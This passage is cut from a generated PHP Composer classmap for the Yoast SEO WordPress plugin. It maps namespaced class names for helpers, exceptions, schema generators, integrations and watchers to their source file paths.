    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Title_Data_Provider_Interface' => $baseDir . '/src/editors/framework/seo/title-data-provider-interface.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Site\\Base_Site_Information' => $baseDir . '/src/editors/framework/site/base-site-information.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Site\\Post_Site_Information' => $baseDir . '/src/editors/framework/site/post-site-information.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Site\\Term_Site_Information' => $baseDir . '/src/editors/framework/site/term-site-information.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Word_Form_Recognition' => $baseDir . '/src/editors/framework/word-form-recognition.php',
    'Yoast\\WP\\SEO\\Elementor\\Infrastructure\\Request_Post' => $baseDir . '/src/elementor/infrastructure/request-post.php',
    'Yoast\\WP\\SEO\\Exceptions\\Addon_Installation\\Addon_Activation_Error_Exception' => $baseDir . '/src/exceptions/addon-installation/addon-activation-error-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Addon_Installation\\Addon_Already_Installed_Exception' => $baseDir . '/src/exceptions/addon-installation/addon-already-installed-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Addon_Installation\\Addon_Installation_Error_Exception' => $baseDir . '/src/exceptions/addon-installation/addon-installation-error-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Addon_Installation\\User_Cannot_Activate_Plugins_Exception' => $baseDir . '/src/exceptions/addon-installation/user-cannot-activate-plugins-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Addon_Installation\\User_Cannot_Install_Plugins_Exception' => $baseDir . '/src/exceptions/addon-installation/user-cannot-install-plugins-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Forbidden_Property_Mutation_Exception' => $baseDir . '/src/exceptions/forbidden-property-mutation-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Importing\\Aioseo_Validation_Exception' => $baseDir . '/src/exceptions/importing/aioseo-validation-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Author_Not_Built_Exception' => $baseDir . '/src/exceptions/indexable/author-not-built-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Indexable_Exception' => $baseDir . '/src/exceptions/indexable/indexable-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Invalid_Term_Exception' => $baseDir . '/src/exceptions/indexable/invalid-term-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Not_Built_Exception' => $baseDir . '/src/exceptions/indexable/not-built-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Post_Not_Built_Exception' => $baseDir . '/src/exceptions/indexable/post-not-built-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Post_Not_Found_Exception' => $baseDir . '/src/exceptions/indexable/post-not-found-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Post_Type_Not_Built_Exception' => $baseDir . '/src/exceptions/indexable/post-type-not-built-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Source_Exception' => $baseDir . '/src/exceptions/indexable/source-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Term_Not_Built_Exception' => $baseDir . '/src/exceptions/indexable/term-not-built-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Indexable\\Term_Not_Found_Exception' => $baseDir . '/src/exceptions/indexable/term-not-found-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\Missing_Method' => $baseDir . '/src/exceptions/missing-method.php',
    'Yoast\\WP\\SEO\\Exceptions\\OAuth\\Authentication_Failed_Exception' => $baseDir . '/src/exceptions/oauth/authentication-failed-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\OAuth\\Tokens\\Empty_Property_Exception' => $baseDir . '/src/exceptions/oauth/tokens/empty-property-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\OAuth\\Tokens\\Empty_Token_Exception' => $baseDir . '/src/exceptions/oauth/tokens/empty-token-exception.php',
    'Yoast\\WP\\SEO\\Exceptions\\OAuth\\Tokens\\Failed_Storage_Exception' => $baseDir . '/src/exceptions/oauth/tokens/failed-storage-exception.php',
    'Yoast\\WP\\SEO\\General\\User_Interface\\General_Page_Integration' => $baseDir . '/src/general/user-interface/general-page-integration.php',
    'Yoast\\WP\\SEO\\Generated\\Cached_Container' => $baseDir . '/src/generated/container.php',
    'Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator' => $baseDir . '/src/generators/breadcrumbs-generator.php',
    'Yoast\\WP\\SEO\\Generators\\Generator_Interface' => $baseDir . '/src/generators/generator-interface.php',
    'Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator' => $baseDir . '/src/generators/open-graph-image-generator.php',
    'Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator' => $baseDir . '/src/generators/open-graph-locale-generator.php',
    'Yoast\\WP\\SEO\\Generators\\Schema\\Abstract_Schema_Piece' => $baseDir . '/src/generators/schema/abstract-schema-piece.php',
    'Yoast\\WP\\SEO\\Generators\\Schema\\Article' => $baseDir . '/src/generators/schema/article.php',
    'Yoast\\WP\\SEO\\Generators\\Schema\\Author' => $baseDir . '/src/generators/schema/author.php',
    'Yoast\\WP\\SEO\\Generators\\Schema\\Breadcrumb' => $baseDir . '/src/generators/schema/breadcrumb.php',
    'Yoast\\WP\\SEO\\Generators\\Schema\\FAQ' => $baseDir . '/src/generators/schema/faq.php',
    'Yoast\\WP\\SEO\\Generators\\Schema\\HowTo' => $baseDir . '/src/generators/schema/howto.php',
    'Yoast\\WP\\SEO\\Generators\\Schema\\Main_Image' => $baseDir . '/src/generators/schema/main-image.php',
    'Yoast\\WP\\SEO\\Generators\\Schema\\Organization' => $baseDir . '/src/generators/schema/organization.php',
    'Yoast\\WP\\SEO\\Generators\\Schema\\Person' => $baseDir . '/src/generators/schema/person.php',
    'Yoast\\WP\\SEO\\Generators\\Schema\\WebPage' => $baseDir . '/src/generators/schema/webpage.php',
    'Yoast\\WP\\SEO\\Generators\\Schema\\Website' => $baseDir . '/src/generators/schema/website.php',
    'Yoast\\WP\\SEO\\Generators\\Schema_Generator' => $baseDir . '/src/generators/schema-generator.php',
    'Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator' => $baseDir . '/src/generators/twitter-image-generator.php',
    'Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper' => $baseDir . '/src/helpers/aioseo-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Asset_Helper' => $baseDir . '/src/helpers/asset-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper' => $baseDir . '/src/helpers/attachment-cleanup-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper' => $baseDir . '/src/helpers/author-archive-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Blocks_Helper' => $baseDir . '/src/helpers/blocks-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Capability_Helper' => $baseDir . '/src/helpers/capability-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Crawl_Cleanup_Helper' => $baseDir . '/src/helpers/crawl-cleanup-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Curl_Helper' => $baseDir . '/src/helpers/curl-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper' => $baseDir . '/src/helpers/current-page-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Date_Helper' => $baseDir . '/src/helpers/date-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Environment_Helper' => $baseDir . '/src/helpers/environment-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\First_Time_Configuration_Notice_Helper' => $baseDir . '/src/helpers/first-time-configuration-notice-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Home_Url_Helper' => $baseDir . '/src/helpers/home-url-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Image_Helper' => $baseDir . '/src/helpers/image-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper' => $baseDir . '/src/helpers/import-cursor-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Import_Helper' => $baseDir . '/src/helpers/import-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Indexable_Helper' => $baseDir . '/src/helpers/indexable-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Indexable_To_Postmeta_Helper' => $baseDir . '/src/helpers/indexable-to-postmeta-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Indexing_Helper' => $baseDir . '/src/helpers/indexing-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Language_Helper' => $baseDir . '/src/helpers/language-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Meta_Helper' => $baseDir . '/src/helpers/meta-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Notification_Helper' => $baseDir . '/src/helpers/notification-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper' => $baseDir . '/src/helpers/open-graph/image-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper' => $baseDir . '/src/helpers/open-graph/values-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Options_Helper' => $baseDir . '/src/helpers/options-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Pagination_Helper' => $baseDir . '/src/helpers/pagination-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Permalink_Helper' => $baseDir . '/src/helpers/permalink-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Post_Helper' => $baseDir . '/src/helpers/post-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper' => $baseDir . '/src/helpers/post-type-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper' => $baseDir . '/src/helpers/primary-term-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Product_Helper' => $baseDir . '/src/helpers/product-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Redirect_Helper' => $baseDir . '/src/helpers/redirect-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Request_Helper' => $baseDir . '/src/deprecated/src/helpers/request-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Require_File_Helper' => $baseDir . '/src/helpers/require-file-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Robots_Helper' => $baseDir . '/src/helpers/robots-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper' => $baseDir . '/src/helpers/robots-txt-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper' => $baseDir . '/src/helpers/sanitization-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper' => $baseDir . '/src/helpers/schema/article-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper' => $baseDir . '/src/helpers/schema/html-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper' => $baseDir . '/src/helpers/schema/id-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Schema\\Image_Helper' => $baseDir . '/src/helpers/schema/image-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper' => $baseDir . '/src/helpers/schema/language-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Schema\\Replace_Vars_Helper' => $baseDir . '/src/helpers/schema/replace-vars-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Score_Icon_Helper' => $baseDir . '/src/helpers/score-icon-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper' => $baseDir . '/src/helpers/short-link-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Site_Helper' => $baseDir . '/src/helpers/site-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper' => $baseDir . '/src/helpers/social-profiles-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\String_Helper' => $baseDir . '/src/helpers/string-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper' => $baseDir . '/src/helpers/taxonomy-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper' => $baseDir . '/src/helpers/twitter/image-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Url_Helper' => $baseDir . '/src/helpers/url-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\User_Helper' => $baseDir . '/src/helpers/user-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Wincher_Helper' => $baseDir . '/src/helpers/wincher-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper' => $baseDir . '/src/helpers/woocommerce-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Wordpress_Helper' => $baseDir . '/src/helpers/wordpress-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper' => $baseDir . '/src/deprecated/src/helpers/wordproof-helper.php',
    'Yoast\\WP\\SEO\\Helpers\\Wpdb_Helper' => $baseDir . '/src/helpers/wpdb-helper.php',
    'Yoast\\WP\\SEO\\Images\\Application\\Image_Content_Extractor' => $baseDir . '/src/images/Application/image-content-extractor.php',
    'Yoast\\WP\\SEO\\Initializers\\Crawl_Cleanup_Permalinks' => $baseDir . '/src/initializers/crawl-cleanup-permalinks.php',
    'Yoast\\WP\\SEO\\Initializers\\Disable_Core_Sitemaps' => $baseDir . '/src/initializers/disable-core-sitemaps.php',
    'Yoast\\WP\\SEO\\Initializers\\Initializer_Interface' => $baseDir . '/src/initializers/initializer-interface.php',
    'Yoast\\WP\\SEO\\Initializers\\Migration_Runner' => $baseDir . '/src/initializers/migration-runner.php',
    'Yoast\\WP\\SEO\\Initializers\\Plugin_Headers' => $baseDir . '/src/initializers/plugin-headers.php',
    'Yoast\\WP\\SEO\\Initializers\\Woocommerce' => $baseDir . '/src/initializers/woocommerce.php',
    'Yoast\\WP\\SEO\\Integrations\\Abstract_Exclude_Post_Type' => $baseDir . '/src/integrations/abstract-exclude-post-type.php',
    'Yoast\\WP\\SEO\\Integrations\\Academy_Integration' => $baseDir . '/src/integrations/academy-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Activation_Cleanup_Integration' => $baseDir . '/src/integrations/admin/activation-cleanup-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Dialog_Integration' => $baseDir . '/src/integrations/admin/addon-installation/dialog-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Installation_Integration' => $baseDir . '/src/integrations/admin/addon-installation/installation-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration' => $baseDir . '/src/integrations/admin/admin-columns-cache-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Background_Indexing_Integration' => $baseDir . '/src/integrations/admin/background-indexing-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Check_Required_Version' => $baseDir . '/src/integrations/admin/check-required-version.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Crawl_Settings_Integration' => $baseDir . '/src/integrations/admin/crawl-settings-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Cron_Integration' => $baseDir . '/src/integrations/admin/cron-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Deactivated_Premium_Integration' => $baseDir . '/src/integrations/admin/deactivated-premium-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Disable_Concatenate_Scripts_Integration' => $baseDir . '/src/deprecated/src/integrations/admin/disable-concatenate-scripts-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Integration' => $baseDir . '/src/integrations/admin/first-time-configuration-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Notice_Integration' => $baseDir . '/src/integrations/admin/first-time-configuration-notice-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Fix_News_Dependencies_Integration' => $baseDir . '/src/integrations/admin/fix-news-dependencies-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Health_Check_Integration' => $baseDir . '/src/integrations/admin/health-check-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\HelpScout_Beacon' => $baseDir . '/src/integrations/admin/helpscout-beacon.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Import_Integration' => $baseDir . '/src/integrations/admin/import-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexables_Exclude_Taxonomy_Integration' => $baseDir . '/src/integrations/admin/indexables-exclude-taxonomy-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Notification_Integration' => $baseDir . '/src/integrations/admin/indexing-notification-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Tool_Integration' => $baseDir . '/src/integrations/admin/indexing-tool-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Installation_Success_Integration' => $baseDir . '/src/integrations/admin/installation-success-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Integrations_Page' => $baseDir . '/src/integrations/admin/integrations-page.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Link_Count_Columns_Integration' => $baseDir . '/src/integrations/admin/link-count-columns-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Menu_Badge_Integration' => $baseDir . '/src/integrations/admin/menu-badge-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Migration_Error_Integration' => $baseDir . '/src/integrations/admin/migration-error-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Configuration_Integration' => $baseDir . '/src/integrations/admin/old-configuration-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Premium_Integration' => $baseDir . '/src/deprecated/src/integrations/admin/old-premium-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Redirect_Integration' => $baseDir . '/src/integrations/admin/redirect-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Redirects_Page_Integration' => $baseDir . '/src/integrations/admin/redirects-page-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Unsupported_PHP_Version_Notice' => $baseDir . '/src/integrations/admin/unsupported-php-version-notice.php',
    'Yoast\\WP\\SEO\\Integrations\\Admin\\Workouts_Integration' => $baseDir . '/src/integrations/admin/workouts-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Alerts\\Abstract_Dismissable_Alert' => $baseDir . '/src/integrations/alerts/abstract-dismissable-alert.php',
    'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Product_Editor_Checklist_Notification' => $baseDir . '/src/integrations/alerts/black-friday-product-editor-checklist-notification.php',
    'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Promotion_Notification' => $baseDir . '/src/integrations/alerts/black-friday-promotion-notification.php',
    'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Sidebar_Checklist_Notification' => $baseDir . '/src/integrations/alerts/black-friday-sidebar-checklist-notification.php',
    'Yoast\\WP\\SEO\\Integrations\\Alerts\\Trustpilot_Review_Notification' => $baseDir . '/src/integrations/alerts/trustpilot-review-notification.php',
    'Yoast\\WP\\SEO\\Integrations\\Alerts\\Webinar_Promo_Notification' => $baseDir . '/src/integrations/alerts/webinar-promo-notification.php',
    'Yoast\\WP\\SEO\\Integrations\\Blocks\\Block_Editor_Integration' => $baseDir . '/src/integrations/blocks/block-editor-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Blocks\\Breadcrumbs_Block' => $baseDir . '/src/integrations/blocks/breadcrumbs-block.php',
    'Yoast\\WP\\SEO\\Integrations\\Blocks\\Dynamic_Block' => $baseDir . '/src/integrations/blocks/abstract-dynamic-block.php',
    'Yoast\\WP\\SEO\\Integrations\\Blocks\\Dynamic_Block_V3' => $baseDir . '/src/integrations/blocks/abstract-dynamic-block-v3.php',
    'Yoast\\WP\\SEO\\Integrations\\Blocks\\Internal_Linking_Category' => $baseDir . '/src/integrations/blocks/block-categories.php',
    'Yoast\\WP\\SEO\\Integrations\\Blocks\\Structured_Data_Blocks' => $baseDir . '/src/integrations/blocks/structured-data-blocks.php',
    'Yoast\\WP\\SEO\\Integrations\\Breadcrumbs_Integration' => $baseDir . '/src/integrations/breadcrumbs-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration' => $baseDir . '/src/integrations/cleanup-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Duplicate_Post_Integration' => $baseDir . '/src/deprecated/src/integrations/duplicate-post-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Estimated_Reading_Time' => $baseDir . '/src/integrations/estimated-reading-time.php',
    'Yoast\\WP\\SEO\\Integrations\\Exclude_Attachment_Post_Type' => $baseDir . '/src/integrations/exclude-attachment-post-type.php',
    'Yoast\\WP\\SEO\\Integrations\\Exclude_Oembed_Cache_Post_Type' => $baseDir . '/src/integrations/exclude-oembed-cache-post-type.php',
    'Yoast\\WP\\SEO\\Integrations\\Feature_Flag_Integration' => $baseDir . '/src/integrations/feature-flag-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Backwards_Compatibility' => $baseDir . '/src/integrations/front-end/backwards-compatibility.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Category_Term_Description' => $baseDir . '/src/integrations/front-end/category-term-description.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Comment_Link_Fixer' => $baseDir . '/src/integrations/front-end/comment-link-fixer.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Basic' => $baseDir . '/src/integrations/front-end/crawl-cleanup-basic.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Rss' => $baseDir . '/src/integrations/front-end/crawl-cleanup-rss.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Searches' => $baseDir . '/src/integrations/front-end/crawl-cleanup-searches.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Feed_Improvements' => $baseDir . '/src/integrations/front-end/feed-improvements.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Force_Rewrite_Title' => $baseDir . '/src/integrations/front-end/force-rewrite-title.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Handle_404' => $baseDir . '/src/integrations/front-end/handle-404.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Indexing_Controls' => $baseDir . '/src/integrations/front-end/indexing-controls.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Open_Graph_OEmbed' => $baseDir . '/src/integrations/front-end/open-graph-oembed.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\RSS_Footer_Embed' => $baseDir . '/src/integrations/front-end/rss-footer-embed.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Redirects' => $baseDir . '/src/integrations/front-end/redirects.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Robots_Txt_Integration' => $baseDir . '/src/integrations/front-end/robots-txt-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\Schema_Accessibility_Feature' => $baseDir . '/src/integrations/front-end/schema-accessibility-feature.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End\\WP_Robots_Integration' => $baseDir . '/src/integrations/front-end/wp-robots-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Front_End_Integration' => $baseDir . '/src/integrations/front-end-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Integration_Interface' => $baseDir . '/src/integrations/integration-interface.php',
    'Yoast\\WP\\SEO\\Integrations\\Primary_Category' => $baseDir . '/src/integrations/primary-category.php',
    'Yoast\\WP\\SEO\\Integrations\\Settings_Integration' => $baseDir . '/src/integrations/settings-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Support_Integration' => $baseDir . '/src/integrations/support-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\AMP' => $baseDir . '/src/integrations/third-party/amp.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\BbPress' => $baseDir . '/src/integrations/third-party/bbpress.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Elementor' => $baseDir . '/src/integrations/third-party/elementor.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_Elementor_Post_Types' => $baseDir . '/src/integrations/third-party/exclude-elementor-post-types.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_WooCommerce_Post_Types' => $baseDir . '/src/integrations/third-party/exclude-woocommerce-post-types.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Jetpack' => $baseDir . '/src/integrations/third-party/jetpack.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\W3_Total_Cache' => $baseDir . '/src/integrations/third-party/w3-total-cache.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML' => $baseDir . '/src/integrations/third-party/wpml.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML_WPSEO_Notification' => $baseDir . '/src/integrations/third-party/wpml-wpseo-notification.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories' => $baseDir . '/src/integrations/third-party/web-stories.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories_Post_Edit' => $baseDir . '/src/integrations/third-party/web-stories-post-edit.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher' => $baseDir . '/src/deprecated/src/integrations/third-party/wincher.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher_Publish' => $baseDir . '/src/integrations/third-party/wincher-publish.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce' => $baseDir . '/src/integrations/third-party/woocommerce.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce_Post_Edit' => $baseDir . '/src/integrations/third-party/woocommerce-post-edit.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Woocommerce_Permalinks' => $baseDir . '/src/integrations/third-party/woocommerce-permalinks.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof' => $baseDir . '/src/deprecated/src/integrations/third-party/wordproof.php',
    'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof_Integration_Toggle' => $baseDir . '/src/deprecated/src/integrations/third-party/wordproof-integration-toggle.php',
    'Yoast\\WP\\SEO\\Integrations\\Uninstall_Integration' => $baseDir . '/src/integrations/uninstall-integration.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Addon_Update_Watcher' => $baseDir . '/src/integrations/watchers/addon-update-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Auto_Update_Watcher' => $baseDir . '/src/integrations/watchers/auto-update-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Ancestor_Watcher' => $baseDir . '/src/integrations/watchers/indexable-ancestor-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Attachment_Watcher' => $baseDir . '/src/integrations/watchers/indexable-attachment-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Archive_Watcher' => $baseDir . '/src/integrations/watchers/indexable-author-archive-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Watcher' => $baseDir . '/src/integrations/watchers/indexable-author-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Category_Permalink_Watcher' => $baseDir . '/src/integrations/watchers/indexable-category-permalink-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Date_Archive_Watcher' => $baseDir . '/src/integrations/watchers/indexable-date-archive-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_HomeUrl_Watcher' => $baseDir . '/src/integrations/watchers/indexable-homeurl-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Home_Page_Watcher' => $baseDir . '/src/integrations/watchers/indexable-home-page-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Permalink_Watcher' => $baseDir . '/src/integrations/watchers/indexable-permalink-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Meta_Watcher' => $baseDir . '/src/integrations/watchers/indexable-post-meta-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Archive_Watcher' => $baseDir . '/src/integrations/watchers/indexable-post-type-archive-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Change_Watcher' => $baseDir . '/src/integrations/watchers/indexable-post-type-change-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher' => $baseDir . '/src/integrations/watchers/indexable-post-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Static_Home_Page_Watcher' => $baseDir . '/src/integrations/watchers/indexable-static-home-page-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_System_Page_Watcher' => $baseDir . '/src/integrations/watchers/indexable-system-page-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Taxonomy_Change_Watcher' => $baseDir . '/src/integrations/watchers/indexable-taxonomy-change-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Term_Watcher' => $baseDir . '/src/integrations/watchers/indexable-term-watcher.php',
    'Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Titles_Watcher' => $baseDir . '/src/integrations/watchers/option-titles-watcher.php',
